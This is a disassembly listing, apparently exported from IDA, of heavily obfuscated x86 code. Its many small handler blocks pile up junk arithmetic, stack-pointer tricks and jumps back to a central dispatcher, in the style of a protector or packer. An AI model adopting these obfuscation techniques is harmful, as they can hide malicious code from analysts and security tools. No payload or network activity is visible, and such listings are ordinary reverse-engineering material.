loc_586E08:				; CODE XREF: sub_57DD3A+BCB7j
		push	edi
		mov	edi, 7CA52B17h
		jmp	loc_58D0A8
; ---------------------------------------------------------------------------


loc_586E13:				; CODE XREF: sub_57DD3A+D2CAj
		pop	esp
		xor	word ptr [esp+66h+var_68+2], bp
		xor	bp, word ptr [esp+66h+var_68+2]
		xor	word ptr [esp+66h+var_68+2], bp
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_586E25:				; CODE XREF: sub_57DD3A+C422j
		pop	edx
		jmp	loc_585512
; ---------------------------------------------------------------------------


loc_586E2B:				; CODE XREF: sub_57DD3A+F2EEj
		add	ecx, edx
		pop	edx
		sub	ecx, 7C5E7052h
		add	ecx, edi
		add	ecx, 7C5E7052h
		push	edx
		mov	edx, 0
		add	edx, ecx
		mov	[edx], al
		pop	edx
		jmp	loc_58BE72
; ---------------------------------------------------------------------------


loc_586E4C:				; CODE XREF: sub_57DD3A+C33Aj
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_589C5A
; ---------------------------------------------------------------------------


loc_586E5B:				; CODE XREF: sub_57DD3A+519Cj
		mov	[esp+84h+var_84], ecx
		mov	ecx, esp
		jmp	loc_589A80
; ---------------------------------------------------------------------------


loc_586E65:				; CODE XREF: sub_57DD3A+A735j
		xor	edx, 4DA82470h
		mov	ebp, edx
		pop	edx
		sub	eax, 0D626E2Eh
		add	eax, 2E6E2E5Ch
		sub	eax, 6C420FB6h
		sub	eax, ebp
		add	eax, 6C420FB6h
		sub	eax, 2E6E2E5Ch
		add	eax, 0D626E2Eh
		pop	ebp
		jmp	loc_58A925
; ---------------------------------------------------------------------------


loc_586E94:				; CODE XREF: sub_57DD3A+3BDEj
		push	4A72h
		mov	[esp+52h+var_54+2], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 7B5C03E5h
		xor	eax, 778200CEh
		sub	eax, 5DD93C0Dh
		jmp	loc_58C743
; ---------------------------------------------------------------------------


loc_586EB3:				; CODE XREF: sub_57DD3A+4571j
		pop	ebx
		push	45B3h
		mov	[esp+76h+var_78+2], ecx
		mov	ecx, 2028E0h
		shl	ecx, 1
		xor	ecx, 632E232Bh
		sub	ebp, ecx
		pop	ecx
		shl	ebp, 6
		push	ebx
		mov	ebx, 151E30FFh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5837F7
; ---------------------------------------------------------------------------


loc_586EDD:				; CODE XREF: sub_57DD3A+9D21j
		sub	eax, esi
		add	eax, 56AD740Ah
		pop	esi
		jmp	loc_58AF97
; ---------------------------------------------------------------------------


loc_586EEA:				; CODE XREF: sub_57DD3A+EE3Fj
		pop	edi
		sub	edx, ecx
		jmp	loc_585B72
; ---------------------------------------------------------------------------


loc_586EF2:				; CODE XREF: sub_57DD3A+D62Dj
		add	ebx, eax
		pop	eax
		push	6EB8h
		mov	[esp+6Ah+var_6C+2], ebx
		mov	ebx, 15F822C6h
		sub	[esp+6Ah+var_64+2], ebx
		mov	ebx, [esp+6Ah+var_6C+2]
		jmp	loc_58B913
; ---------------------------------------------------------------------------


loc_586F0E:				; CODE XREF: sub_57DD3A+4AD1j
		mov	cl, 0B2h
		sub	cl, 1Dh
		jmp	loc_585319
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_586F20:				; CODE XREF: sub_57DD3A+755Cj
		pop	ebp
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		add	ebp, edi
		jmp	loc_58C0D9
; ---------------------------------------------------------------------------


loc_586F32:				; CODE XREF: sub_57DD3A+A9BAj
		push	eax
		mov	ah, 29h
		jmp	loc_58539A
; ---------------------------------------------------------------------------


loc_586F3A:				; CODE XREF: sub_57DD3A+8738j
		pop	ecx
		shr	edx, 4
		jmp	loc_58B2A4
; ---------------------------------------------------------------------------


loc_586F43:				; CODE XREF: sub_57DD3A+89CCj
		mov	ebp, [esp+9Ah+var_9C+2]
		push	ebp
		jmp	loc_586930
; ---------------------------------------------------------------------------


loc_586F4C:				; CODE XREF: sub_57DD3A+7BA8j
		push	edx
		mov	edx, 44BF6514h
		push	ebp
		push	eax
		push	edx
		mov	edx, 771D67D3h
		mov	eax, edx
		pop	edx
		push	ebp
		mov	ebp, 612311DFh
		shr	ebp, 5
		shl	ebp, 3
		jmp	loc_58A6E7
; ---------------------------------------------------------------------------


loc_586F6E:				; CODE XREF: sub_57DD3A+ED85j
		dec	byte ptr [esp+66h+var_68+2]
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_586F77:				; CODE XREF: sub_57DD3A+964Dj
		mov	[esp+6Ah+var_6C+2], edx
		mov	edx, 2D9E4F20h
		add	ebx, edx
		pop	edx
		mov	dx, word ptr [esp+66h+var_68+2]
		push	esi
		sub	esp, 4
		jmp	loc_5881B9
; ---------------------------------------------------------------------------


loc_586F8F:				; CODE XREF: sub_57DD3A+DEDFj
		mov	eax, 31462078h
		dec	eax
		inc	eax
		sub	eax, 7C47BC9h
		push	ebp
		push	eax
		jmp	loc_583100
; ---------------------------------------------------------------------------


loc_586FA2:				; CODE XREF: sub_57DD3A+60FEj
		add	ebp, 4
		jmp	loc_582251
; ---------------------------------------------------------------------------


loc_586FAD:				; CODE XREF: sub_57DD3A+A801j
		sub	esp, 4
		mov	[esp+0C0h+var_C0], esp
		push	esi
		mov	esi, 4
		add	[esp+0C4h+var_C0], esi
		pop	esi
		jmp	loc_58C3C6
; ---------------------------------------------------------------------------


loc_586FC6:				; CODE XREF: sub_57DD3A+BEC1j
		mov	ecx, [esp+0C0h+var_C0]
		jmp	loc_58C293
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0C0h+var_C0]
		push	eax
		push	esp
		pop	eax
		push	47BEh
		mov	[esp+0C8h+var_C8], edx
		sub	esp, 4
		mov	[esp+0CCh+var_CC], ecx
		mov	ecx, 201F0E3Fh
		mov	edx, ecx
		pop	ecx
		sub	edx, 201F0E3Bh
		jmp	loc_5832A9
; ---------------------------------------------------------------------------


loc_586FF6:				; CODE XREF: sub_57DD3A+8708j
		add	ecx, edx
		sub	ecx, 6FCE0749h
		pop	edx
		sub	esp, 4
		mov	[esp+78h+var_78], ecx
		push	[esp+78h+var_74]
		pop	ecx
		jmp	loc_58D9F6
; ---------------------------------------------------------------------------


loc_58700F:				; CODE XREF: sub_57DD3A+4C72j
		add	[esp+68h+var_64], esi
		add	[esp+68h+var_64], 7A0845ECh
		mov	esi, [esp+68h+var_68]
		add	esp, 4
		pop	[esp+64h+var_64]
		push	edi
		push	ecx
		jmp	loc_581F05
; ---------------------------------------------------------------------------


loc_58702E:				; CODE XREF: sub_57DD3A+D0D8j
		add	[esp+68h+var_68], 4
		pop	ebx
		add	ebx, 4
		push	ebp
		push	edx
		mov	edx, 40BF38C8h
		push	ebp
		jmp	loc_5845E3
; ---------------------------------------------------------------------------


loc_587046:				; CODE XREF: sub_57DD3A+E69Fj
		push	ecx
		jmp	loc_584CA2
; ---------------------------------------------------------------------------


loc_58704C:				; CODE XREF: sub_57DD3A+B11Cj
		add	esp, 4
		sub	esp, 4
		jmp	loc_584F8A
; ---------------------------------------------------------------------------


loc_58705A:				; CODE XREF: sub_57DD3A+8B1Bj
		mov	edx, [esp+86h+var_88+2]
		add	esp, 4
		push	ecx
		push	eax
		jmp	loc_58DC95
; ---------------------------------------------------------------------------


loc_58706A:				; CODE XREF: sub_57DD3A+D698j
		xor	ebp, 2CFC18F7h
		mov	edx, ebp
		pop	ebp
		xor	[esp+86h+var_84+2], edx
		pop	edx
		pop	edx
		push	ebp
		mov	ebp, 5E240E70h
		push	esi
		mov	esi, 545F6D59h
		neg	esi
		push	ecx
		push	ebp
		jmp	loc_58556B
; ---------------------------------------------------------------------------


loc_58708E:				; CODE XREF: sub_57DD3A+B462j
		push	ebp
		jmp	loc_5824B7
; ---------------------------------------------------------------------------


loc_587094:				; CODE XREF: sub_57DD3A+5AB8j
		push	3E31h
		mov	[esp+0BCh+var_BC], ebx
		mov	ebx, 7E8B4E94h
		add	ebx, 87A50C64h
		push	edi
		mov	edi, 67C02A45h
		sub	ebx, edi
		pop	edi
		xor	ebx, 3195084Fh
		push	esi
		jmp	loc_586CF5
; ---------------------------------------------------------------------------


loc_5870BC:				; CODE XREF: sub_57DD3A+B72Fj
		xchg	esi, [esp+0C0h+var_C0]
		pop	esp
		mov	[esp+0BCh+var_BC], ebx
		xor	[esp+0BCh+var_BC], 4B387622h
		jmp	loc_5822D7
; ---------------------------------------------------------------------------


loc_5870CF:				; CODE XREF: sub_57DD3A+D338j
		sub	esp, 4
		mov	[esp+0C0h+var_C0], eax
		push	0DA836AAFh
		pop	eax
		sub	ebx, eax
		pop	eax
		mov	edi, ebx
		pop	ebx
		push	ebp
		push	ecx
		push	41403927h
		pop	ecx
		dec	ecx
		sub	ecx, 2C8D73D1h
		add	ecx, 1AD6B674h
		jmp	loc_5828EF
; ---------------------------------------------------------------------------


loc_5870FE:				; CODE XREF: sub_57DD3A+C7C4j
		mov	esi, [esp+0C0h+var_C0]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 7AAB06C9h
		sub	ebx, 478604E4h
		push	edi
		mov	edi, 4FC1334Dh
		jmp	loc_589F66
; ---------------------------------------------------------------------------


loc_58711E:				; CODE XREF: sub_57DD3A+E296j
		pop	esp
		add	ebp, 0A6EDB25Ah
		add	ecx, ebp
		pop	ebp
		jmp	loc_582C70
; ---------------------------------------------------------------------------


loc_58712D:				; CODE XREF: sub_57DD3A+B4E0j
		add	edi, 4
		xchg	edi, [esp+0C0h+var_C0]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58B71E
; ---------------------------------------------------------------------------


loc_587145:				; CODE XREF: sub_57DD3A+4598j
		pop	eax
		add	esi, edi
		pop	edi
		sub	ecx, 1EE5044Ah
		add	ecx, esi
		push	edi
		mov	edi, 1EE5044Ah
		jmp	loc_5837C5
; ---------------------------------------------------------------------------


loc_58715C:				; CODE XREF: sub_57DD3A+ECC8j
		sub	ebx, 44A727EBh
		add	edi, ebx
		pop	ebx
		sub	edi, 2
		push	edi
		push	[esp+72h+var_70+2]
		jmp	loc_5860B8
; ---------------------------------------------------------------------------


loc_587175:				; CODE XREF: sub_57DD3A+F3E0j
		xor	ebp, 1730748Dh
		sub	ebp, 5A84C54Bh
		jmp	loc_585263
; ---------------------------------------------------------------------------


loc_587186:				; CODE XREF: sub_57DD3A+8E2Dj
		xor	esi, 44C34456h
		not	esi
		add	esi, 238265EDh
		jmp	loc_583C92
; ---------------------------------------------------------------------------


loc_587199:				; CODE XREF: sub_57DD3A+5A28j
		sub	ebx, edx
		sub	ebx, 1AE54C70h
		pop	edx
		add	ebx, edi
		add	ebx, 367119CFh
		pop	edi
		jmp	loc_58B937
; ---------------------------------------------------------------------------


loc_5871B0:				; CODE XREF: sub_57DD3A+4334j
		push	ebp
		mov	ebp, 10FF0A9Ah
		inc	ebp
		neg	ebp
		add	ebp, 11E1A636h
		xor	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		xor	eax, [esp+62h+var_64+2]
		xor	[esp+62h+var_64+2], eax
		xor	eax, [esp+62h+var_64+2]
		pop	esp
		jmp	loc_58DC19
; ---------------------------------------------------------------------------


loc_5871D4:				; CODE XREF: sub_57DD3A+6BC6j
		pop	ecx
		add	eax, edx
		sub	eax, 33722350h
		add	eax, 1801012Ch
		mov	dword ptr [eax], 0
		jmp	loc_5855FF
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_583A9A
		add	esi, 786B65B2h
		jmp	loc_586DF0
; ---------------------------------------------------------------------------


loc_587202:				; CODE XREF: sub_57DD3A+5EFEj
		sub	eax, esi
		pop	esi
		add	eax, 7DD83362h
		sub	esp, 4
		mov	[esp+7Ah+var_7C+2], esi
		push	eax
		mov	eax, 51813218h
		neg	eax
		jmp	loc_5847DE
; ---------------------------------------------------------------------------


loc_587220:				; CODE XREF: sub_57DD3A+550Cj
		sub	eax, 3DA46FBCh
		sub	eax, ecx
		jmp	loc_58CFC4
; ---------------------------------------------------------------------------


loc_58722C:				; CODE XREF: sub_57DD3A+F356j
		sub	bl, 1Fh
		jmp	loc_588331
; ---------------------------------------------------------------------------


loc_587234:				; CODE XREF: sub_57DD3A+C8E7j
		mov	ecx, [esp+5Eh+var_60+2]
		jmp	loc_5854B3
; ---------------------------------------------------------------------------


loc_58723C:				; CODE XREF: sub_57DD3A+5EC1j
		add	edx, 2FBE53FCh
		jmp	loc_583D70
; ---------------------------------------------------------------------------


loc_587247:				; CODE XREF: sub_57DD3A+6AF1j
		sub	bl, 93h
		push	eax
		mov	ah, 3
		add	bl, ah
		pop	eax
		sub	bl, 6
		push	ecx
		jmp	loc_5888D9
; ---------------------------------------------------------------------------


loc_587259:				; CODE XREF: sub_57DD3A+6FFDj
		or	ecx, 55464966h
		not	ecx
		xor	ecx, 2EF55430h
		sub	ecx, 10CB2C61h
		neg	ecx
		jmp	loc_58A834
; ---------------------------------------------------------------------------


loc_587274:				; CODE XREF: sub_57DD3A+D7ACj
		mov	dx, word ptr [esp+74h+var_74]
		push	0AFDh
		mov	[esp+78h+var_78], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	4FE4h
		mov	[esp+7Ch+var_7C], esi
		push	ecx
		mov	ecx, 1FFC0656h
		mov	esi, 1FFC0658h
		sub	esi, ecx
		mov	ecx, [esp+80h+var_80]
		add	esp, 4
		add	ecx, esi
		push	[esp+7Ch+var_7C]
		pop	esi
		add	esp, 4
		xor	ecx, [esp+78h+var_78]
		xor	[esp+78h+var_78], ecx
		jmp	loc_58D189
; ---------------------------------------------------------------------------


loc_5872BA:				; CODE XREF: sub_57DD3A+B14Bj
		mov	cl, 12h
		push	ecx
		xchg	ah, byte ptr [esp+7Ch+var_7C]
		not	ah
		push	edx
		mov	dl, ah
		mov	ah, byte ptr [esp+80h+var_7C]
		mov	byte ptr [esp+80h+var_7C], dl
		pop	edx
		pop	ecx
		and	cl, 0F0h
		push	eax
		mov	al, 13h
		sub	al, 0FFh
		add	al, 7Ah
		add	cl, al
		pop	eax
		sub	al, 66h
		jmp	loc_58B6D2
; ---------------------------------------------------------------------------


loc_5872E3:				; CODE XREF: sub_57DD3A+868Dj
		push	3BBFh
		jmp	loc_58A764
; ---------------------------------------------------------------------------


loc_5872ED:				; CODE XREF: sub_57DD3A+E49Cj
		mov	ax, 7AAh
		push	si
		mov	si, 0
		jmp	loc_582944
; ---------------------------------------------------------------------------


loc_5872FC:				; CODE XREF: sub_57DD3A+7F55j
		mov	esi, [esp+76h+var_78+2]
		add	esp, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+6Eh+var_70+2]
		pop	esp
		mov	[esp+6Ah+var_6C+2], eax
		push	esi
		push	485A245Ah
		jmp	loc_585CF2
; ---------------------------------------------------------------------------


loc_58731A:				; CODE XREF: sub_57DD3A+A558j
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58731F:				; CODE XREF: sub_57DD3A+BF2Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+76h+var_78+2]
		mov	esp, [esp+76h+var_78+2]
		mov	[esp+76h+var_78+2], esi
		jmp	loc_5867C3
; ---------------------------------------------------------------------------


loc_58733F:				; CODE XREF: sub_57DD3A+F2F9j
		add	ecx, 62514669h
		sub	ecx, edi
		sub	ecx, 62514669h
		jmp	loc_582602
; ---------------------------------------------------------------------------


loc_587352:				; CODE XREF: sub_57DD3A+899Cj
		add	[esp+0A6h+var_A8+2], eax
		sub	[esp+0A6h+var_A8+2], 484C0404h
		push	9C2h
		jmp	loc_58CD5C
; ---------------------------------------------------------------------------


loc_587366:				; CODE XREF: sub_57DD3A+4B2Fj
		add	ebx, eax
		push	edx
		mov	edx, 728F6AD7h
		add	edx, 6C4C322Eh
		push	edx
		jmp	loc_58607A
; ---------------------------------------------------------------------------


loc_58737A:				; CODE XREF: sub_57DD3A+F01Dj
		push	ebp
		push	[esp+0A2h+var_A0+2]
		pop	ebp
		pop	[esp+0A2h+var_A4+2]
		pop	esp
		sub	esp, 4
		jmp	loc_586F77
; ---------------------------------------------------------------------------


loc_58738C:				; CODE XREF: sub_57DD3A+5CA7j
		push	[esp+0A4h+var_A4]
		mov	eax, [esp+0A8h+var_A8]
		add	esp, 4
		add	esp, 4
		sub	edx, 4
		jmp	loc_583AC1
; ---------------------------------------------------------------------------


loc_5873A6:				; CODE XREF: sub_57DD3A+A5A5j
		mov	ch, bl
		pop	ebx
		add	ch, 6Eh
		add	al, ch
		jmp	loc_58C126
; ---------------------------------------------------------------------------


loc_5873B3:				; CODE XREF: sub_57DD3A+A754j
		xchg	esi, [esp+9Ch+var_9C]
		jmp	loc_588500
; ---------------------------------------------------------------------------


loc_5873BB:				; CODE XREF: sub_57DD3A+C679j
		xor	ecx, 8EC1852Eh
		add	ebp, 4E585587h
		sub	ebp, ecx
		jmp	loc_58BA45
; ---------------------------------------------------------------------------


loc_5873CE:				; CODE XREF: sub_57DD3A+51DAj
		sub	bl, 0F3h
		xor	dh, bl
		pop	ebx
		add	dh, 7Eh
		jmp	loc_58D549
; ---------------------------------------------------------------------------


loc_5873DC:				; CODE XREF: sub_57DD3A+716Ej
		mov	[esp+72h+var_74+2], ebx
		mov	ebx, 1
		and	eax, ebx
		jmp	loc_584FA7
; ---------------------------------------------------------------------------


loc_5873EB:				; CODE XREF: sub_57DD3A+A5F2j
		xchg	eax, [esp+72h+var_74+2]
		jmp	loc_58783E
; ---------------------------------------------------------------------------


loc_5873F3:				; CODE XREF: sub_57DD3A+F93Fj
		mov	ch, dl
		pop	edx
		add	ch, 97h
		jmp	loc_58CE09
; ---------------------------------------------------------------------------


loc_5873FE:				; CODE XREF: sub_57DD3A+9862j
		sub	ecx, 786D23C2h
		add	ecx, ebp
		push	ebx
		jmp	loc_5831ED
; ---------------------------------------------------------------------------


loc_58740C:				; CODE XREF: sub_57DD3A+C388j
		add	edx, ecx
		sub	edx, 4A3A0D4Dh
		jmp	loc_583BDE
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		mov	esi, 1D576665h
		or	esi, 3804059h
		xor	esi, 5C83769Fh
		jmp	loc_586AED
; ---------------------------------------------------------------------------


loc_587433:				; CODE XREF: sub_57DD3A+7060j
		add	[esp+70h+var_70], 4
		push	[esp+70h+var_70]
		pop	edi
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6Ch+var_6C]
		pop	esp
		push	3416h
		mov	[esp+6Ch+var_6C], ecx
		push	1EEFh
		mov	[esp+70h+var_70], edi
		push	58F8786Bh
		pop	edi
		dec	edi
		jmp	loc_58DFBB
; ---------------------------------------------------------------------------


loc_58746D:				; CODE XREF: sub_57DD3A+5292j
		add	dh, 71h
		sub	ch, dh
		pop	edx
		sub	ch, 0BDh
		add	al, ch
		pop	ecx
		jmp	loc_58B795
; ---------------------------------------------------------------------------


loc_58747E:				; CODE XREF: sub_57DD3A+9900j
		mov	ebp, 4CAB2E99h
		and	ebp, 4BE6D53h
		not	ebp
		inc	ebp
		jmp	loc_5852A6
; ---------------------------------------------------------------------------


loc_587491:				; CODE XREF: sub_57DD3A+A28Ej
		mov	bh, 58h
		xor	dl, bh
		pop	ebx
		jmp	loc_5889F5
; ---------------------------------------------------------------------------


loc_58749B:				; CODE XREF: sub_57DD3A+8C84j
		pop	esi
		add	esp, 4
		push	esi
		mov	esi, 515B240Dh
		sub	ecx, esi
		pop	esi
		add	ecx, 2794B51h
		add	ecx, eax
		sub	ecx, 2794B51h
		jmp	loc_584AF0
; ---------------------------------------------------------------------------


loc_5874BE:				; CODE XREF: sub_57DD3A+CFCAj
		mov	ecx, 49E49465h
		add	edi, ecx
		pop	ecx
		mov	esi, edi
		pop	edi
		push	edi
		mov	edi, 0B59AAB74h
		add	esi, edi
		jmp	loc_588E27
; ---------------------------------------------------------------------------


loc_5874D6:				; CODE XREF: sub_57DD3A+F5F0j
		mov	ecx, [esp+72h+var_74+2]
		add	esp, 4
		jmp	loc_58DE45
; ---------------------------------------------------------------------------


loc_5874E1:				; CODE XREF: sub_57DD3A+C272j
		mov	dl, bl
		mov	bx, word ptr [esp+6Eh+var_70+2]
		add	esp, 2
		or	dl, 6Ah
		shl	dl, 8
		push	35D6h
		jmp	loc_5843D8
; ---------------------------------------------------------------------------


loc_5874FD:				; CODE XREF: sub_57DD3A+3C91j
		add	dh, 47h
		sub	bl, 44h
		add	bl, dh
		push	edx
		mov	dl, 0BDh
		neg	dl
		not	dl
		neg	dl
		neg	dl
		sub	dl, 3Bh
		xor	dl, 0C5h
		add	bl, dl
		mov	edx, [esp+6Ah+var_6C+2]
		add	esp, 4
		mov	dx, word ptr [esp+66h+var_68+2]
		add	esp, 2
		sub	bl, al
		push	ax
		push	ecx
		jmp	loc_5896D3
; ---------------------------------------------------------------------------


loc_587535:				; CODE XREF: sub_57DD3A+44FEj
		sub	esi, 2EFA7EC1h
		jmp	loc_58A6AF
; ---------------------------------------------------------------------------


loc_587540:				; CODE XREF: sub_57DD3A+B3C3j
		mov	esi, 77365551h
		push	edi
		push	2568h
		mov	[esp+86h+var_88+2], edx
		mov	edx, 363E281Ch
		xor	edx, 0CE72752h
		jmp	loc_58B60D
; ---------------------------------------------------------------------------


loc_58755E:				; CODE XREF: sub_57DD3A+C6BAj
		push	eax
		mov	eax, esp
		push	7C16h
		mov	[esp+8Eh+var_90+2], ecx
		mov	ecx, 2D667FB8h
		xor	ecx, 3B4C5DB5h
		push	edi
		mov	edi, 28F704E9h
		and	ecx, edi
		pop	edi
		shr	ecx, 6
		and	ecx, 2E0B6A37h
		add	ecx, 0FFFFF804h
		add	eax, ecx
		mov	ecx, [esp+8Eh+var_90+2]
		jmp	loc_585E9E
; ---------------------------------------------------------------------------


loc_587596:				; CODE XREF: sub_57DD3A+DDBBj
		add	esp, 4
		jmp	loc_5873FE
; ---------------------------------------------------------------------------


loc_5875A1:				; CODE XREF: sub_57DD3A+DF21j
		and	eax, ebp
		pop	ebp
		jmp	loc_588777
; ---------------------------------------------------------------------------


loc_5875A9:				; CODE XREF: sub_57DD3A+9944j
		add	[esp+86h+var_80+2], 6F81771Ah
		add	[esp+86h+var_80+2], edx
		sub	[esp+86h+var_80+2], 6F81771Ah
		jmp	loc_58A503
; ---------------------------------------------------------------------------


loc_5875C2:				; CODE XREF: sub_57DD3A+100C1j
		push	edi
		jmp	loc_584D91
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_5875CF:				; CODE XREF: sub_57DD3A+EC63j
		mov	ebp, [esp+8Eh+var_90+2]
		add	esp, 4
		push	ebx
		jmp	loc_58C570
; ---------------------------------------------------------------------------


loc_5875DE:				; CODE XREF: sub_57DD3A+826Fj
		add	al, 0FDh
		sub	al, bl
		sub	al, 0FDh
		mov	ebx, [esp+0A0h+var_A0]
		add	esp, 4
		push	ecx
		push	eax
		mov	ah, 0BCh
		mov	ch, 66h
		add	ch, ah
		pop	eax
		neg	ch
		sub	ch, 0AFh
		shr	ch, 3
		jmp	loc_5892B6
; ---------------------------------------------------------------------------


loc_587603:				; CODE XREF: sub_57DD3A+872Bj
		mov	bh, 0F3h
		add	ah, bh
		pop	bx
		neg	ah
		shl	ah, 4
		inc	ah
		and	ah, 79h
		add	ah, 0CEh
		sub	dh, ah
		pop	eax
		shr	dh, 6
		jmp	loc_58BA59
; ---------------------------------------------------------------------------


loc_587621:				; CODE XREF: sub_57DD3A+F475j
		mov	ebp, 5FCE578Bh
		jmp	loc_58C0BA
; ---------------------------------------------------------------------------


loc_58762B:				; CODE XREF: sub_57DD3A+5FC6j
		pop	ebx
		sub	ebp, 6BA15D1h
		jmp	loc_58A975
; ---------------------------------------------------------------------------


loc_587637:				; CODE XREF: sub_57DD3A+8EF6j
		mov	eax, esp
		push	ebp
		jmp	loc_58747E
; ---------------------------------------------------------------------------


loc_58763F:				; CODE XREF: sub_57DD3A+B427j
		pop	edx
		jmp	loc_583286
; ---------------------------------------------------------------------------


loc_587645:				; CODE XREF: sub_57DD3A+D99Fj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0D4h+var_D4]
		mov	esp, [esp+0D4h+var_D4]
		push	edx
		sub	esp, 4
		jmp	loc_587800
; ---------------------------------------------------------------------------


loc_587666:				; CODE XREF: sub_57DD3A+DEEAj
		push	0
		jmp	loc_584452
; ---------------------------------------------------------------------------


loc_587670:				; CODE XREF: sub_57DD3A+3E68j
		mov	[esp+76h+var_78+2], edx
		mov	edx, 613D6926h
		push	edx
		mov	edx, 62513B5Bh
		jmp	loc_5875A9
; ---------------------------------------------------------------------------


loc_587683:				; CODE XREF: sub_57DD3A+BE75j
		pop	edx
		jmp	loc_58CAAD
; ---------------------------------------------------------------------------


loc_587689:				; CODE XREF: sub_57DD3A+4D03j
		push	eax
		jmp	loc_586D49
; ---------------------------------------------------------------------------


loc_58768F:				; CODE XREF: sub_57DD3A+7A21j
		shr	edx, 7
		jmp	loc_5835BC
; ---------------------------------------------------------------------------


loc_587697:				; CODE XREF: sub_57DD3A+9B63j
		xor	edi, ecx
		not	ecx
		jmp	loc_5823B2
; ---------------------------------------------------------------------------


loc_5876A0:				; CODE XREF: sub_57DD3A+AC0Dj
		neg	esi
		jmp	loc_58C5BC
; ---------------------------------------------------------------------------


loc_5876A7:				; CODE XREF: sub_57DD3A+9AB5j
		sub	bl, al
		push	eax
		push	ebx
		mov	bl, 35h
		or	bl, 71h
		xor	bl, 0E5h
		jmp	loc_58681D
; ---------------------------------------------------------------------------


loc_5876B8:				; CODE XREF: sub_57DD3A+68A4j
		pop	ebp
		sub	ebp, 270034E4h
		jmp	loc_58B2FC
; ---------------------------------------------------------------------------


loc_5876C4:				; CODE XREF: sub_57DD3A+8316j
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp+86h+var_88+2]
		pop	esp
		mov	[esp+82h+var_84+2], ecx
		push	[esp+82h+var_80+2]
		mov	ecx, [esp+86h+var_88+2]
		jmp	loc_58C00B
; ---------------------------------------------------------------------------


loc_5876DE:				; CODE XREF: sub_57DD3A+8A29j
		add	esi, 63607F2Fh
		add	esi, ebx
		sub	esi, 63607F2Fh
		add	esi, 22CF7A09h
		mov	ebx, [esp+7Eh+var_80+2]
		jmp	loc_58D89B
; ---------------------------------------------------------------------------


loc_5876FA:				; CODE XREF: sub_57DD3A+DDE5j
		sub	ebx, 609876BFh
		add	ebx, ebp
		add	ebx, 609876BFh
		sub	ebx, 671A6D7Ch
		pop	ebp
		add	ebx, 2
		xchg	ebx, [esp+7Ah+var_7C+2]
		pop	esp
		or	byte ptr [esp+76h+var_78+2], al
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_587722:				; CODE XREF: sub_57DD3A+7CFFj
		push	edx
		push	edi
		mov	edi, 0D903EBAh
		mov	edx, edi
		pop	edi
		sub	eax, 389456B1h
		add	eax, 33CA27E8h
		sub	eax, edx
		jmp	loc_58A9FC
; ---------------------------------------------------------------------------


loc_58773D:				; CODE XREF: sub_57DD3A+EF33j
		shl	eax, 3
		add	eax, 2A834A0h
		not	eax
		xor	eax, 9761D5CBh
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+0A6h+var_A8+2]
		pop	esp
		push	edx
		push	5A4907A1h
		jmp	loc_586768
; ---------------------------------------------------------------------------


loc_58775E:				; CODE XREF: sub_57DD3A+FA58j
		pop	edx
		xor	edx, edi
		pop	edi
		add	ecx, edx
		mov	edx, [esp+0A2h+var_A4+2]
		add	esp, 4
		xchg	ecx, [esp+9Eh+var_A0+2]
		pop	esp
		xor	word ptr [esp+9Ah+var_9C+2], ax
		pushf
		jmp	loc_5818C9
; ---------------------------------------------------------------------------


loc_58777B:				; CODE XREF: sub_57DD3A+A7E4j
		pop	ebx
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], ebp
		jmp	loc_5860F5
; ---------------------------------------------------------------------------


loc_58778A:				; CODE XREF: sub_57DD3A+6373j
		dec	edi
		shr	edi, 1
		jmp	loc_58AEFF
; ---------------------------------------------------------------------------


loc_587792:				; CODE XREF: sub_57DD3A+EA04j
		sub	ebp, eax
		mov	eax, [esp+86h+var_88+2]
		add	esp, 4
		jmp	loc_589D6B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		push	[esp+86h+var_88+2]
		mov	eax, [esp+8Ah+var_8C+2]
		push	ebx
		mov	ebx, esp
		jmp	loc_587BEA
; ---------------------------------------------------------------------------


loc_5877B3:				; CODE XREF: sub_57DD3A+702Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+74h+var_74]
		pop	esp
		jmp	loc_588C3F
; ---------------------------------------------------------------------------


loc_5877C8:				; CODE XREF: sub_57DD3A+82C8j
		push	7129h
		mov	[esp+84h+var_84], edx
		jmp	loc_589C16
; ---------------------------------------------------------------------------


loc_5877D5:				; CODE XREF: sub_57DD3A+6C55j
		and	dl, 24h
		inc	dl
		xor	dl, 9Ah
		push	4D3Fh
		jmp	loc_582710
; ---------------------------------------------------------------------------


loc_5877E7:				; CODE XREF: sub_57DD3A+10027j
		pop	eax
		add	bl, al
		sub	bl, 0EFh
		pop	ax
		jmp	loc_5876A7
; ---------------------------------------------------------------------------


loc_5877F4:				; CODE XREF: sub_57DD3A+447Ej
		sub	ebx, 359A09D5h
		pop	edi
		jmp	loc_582510
; ---------------------------------------------------------------------------


